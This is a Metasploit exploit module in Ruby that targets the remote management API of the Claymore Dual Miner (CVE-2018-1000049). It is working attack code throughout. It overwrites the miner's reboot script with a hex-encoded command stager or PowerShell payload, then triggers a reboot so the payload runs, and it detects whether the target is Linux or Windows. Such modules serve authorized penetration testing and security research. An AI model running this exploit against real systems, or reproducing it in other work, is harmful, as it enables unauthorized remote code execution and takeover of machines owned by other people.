##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nanopool Claymore Dual Miner APIs RCE',
        'Description' => %q{
          This module takes advantage of miner remote manager APIs to exploit an RCE vulnerability.
        },
        'Author' => [
          'reversebrain@snado', # Vulnerability reporter
          'phra@snado' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['EDB', '44638'],
          ['CVE', '2018-1000049'],
          ['URL', 'http://web.archive.org/web/20200809230426/https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution']
        ],
        'Targets' => [
          [ 'Automatic Target', { 'auto' => true }],
          [
            'Linux',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X64,
              'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf' ]
            }
          ],
          [
            'Windows',
            {
              'Platform' => 'windows',
              'Arch' => ARCH_X64,
              'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
            }
          ]
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'DisclosureDate' => '2018-02-09',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('RPORT', [ true, 'Set miner port', 3333 ])
      ]
    )
    deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST')
  end

  def select_target
    data = {
      'id' => 0,
      'jsonrpc' => '2.0',
      'method' => 'miner_getfile',
      'params' => ['config.txt']
    }.to_json
    connect
    sock.put(data)
    buf = sock.get_once || ''
    tmp = StringIO.new
    tmp << buf
    tmp2 = tmp.string
    if tmp2.scan(/\w+/)[7]
      return targets[2]
    elsif tmp2.scan(/\w+/)[5]
      return targets[1]
    else
      return nil
    end
  end

  def check
    target = select_target
    if target.nil?
      return Exploit::CheckCode::Safe('Unable to detect Claymore Dual Miner')
    end

    data = {
      'id' => 0,
      'jsonrpc' => '2.0',
      'method' => 'miner_getfile',
      'params' => ['config.txt']
    }.to_json
    connect
    sock.put(data)
    buf = sock.get_once || ''
    tmp = StringIO.new
    tmp << buf
    tmp2 = tmp.string
    hex = ''
    case target['Platform']
    when 'linux'
      hex = tmp2.scan(/\w+/)[5]
    when 'windows'
      hex = tmp2.scan(/\w+/)[7]
    end
    str = Rex::Text.hex_to_raw(hex)
    if str.include?('WARNING')
      return Exploit::CheckCode::Vulnerable('Response contains WARNING marker indicating command execution')
    else
      return Exploit::CheckCode::Detected('The target service was detected')
    end
  rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
    vprint_error(e.message)
    return Exploit::CheckCode::Unknown('Connection failed')
  ensure
    disconnect
  end

  def execute_command(cmd, _opts = {})
    target = select_target
    case target['Platform']
    when 'linux'
      cmd = Rex::Text.to_hex(cmd, '')
      upload = {
        'id' => 0,
        'jsonrpc' => '2.0',
        'method' => 'miner_file',
        'params' => ['reboot.bash', "#{cmd}"]
      }.to_json
    when 'windows'
      cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first), '')
      upload = {
        'id' => 0,
        'jsonrpc' => '2.0',
        'method' => 'miner_file',
        'params' => ['reboot.bat', "#{cmd}"]
      }.to_json
    end

    connect
    sock.put(upload)
    sock.get_once || ''
    trigger_vulnerability
  rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
    fail_with(Failure::UnexpectedReply, e.message)
  ensure
    disconnect
  end

  def trigger_vulnerability
    execute = {
      'id' => 0,
      'jsonrpc' => '2.0',
      'method' => 'miner_reboot'
    }.to_json
    connect
    sock.put(execute)
    sock.get_once || ''
    disconnect
  end

  def exploit
    target = select_target
    if target.nil?
      fail_with(Failure::NoTarget, 'No matching target')
    end
    if (target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
       (target['Platform'].eql?('windows') && payload_instance.name !~ /windows/i)
      fail_with(Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{target.name}'")
    end
    case target['Platform']
    when 'linux'
      execute_cmdstager(flavor: :echo, linemax: 100000)
    when 'windows'
      execute_cmdstager(flavor: :vbs, linemax: 100000)
    end
  end
end
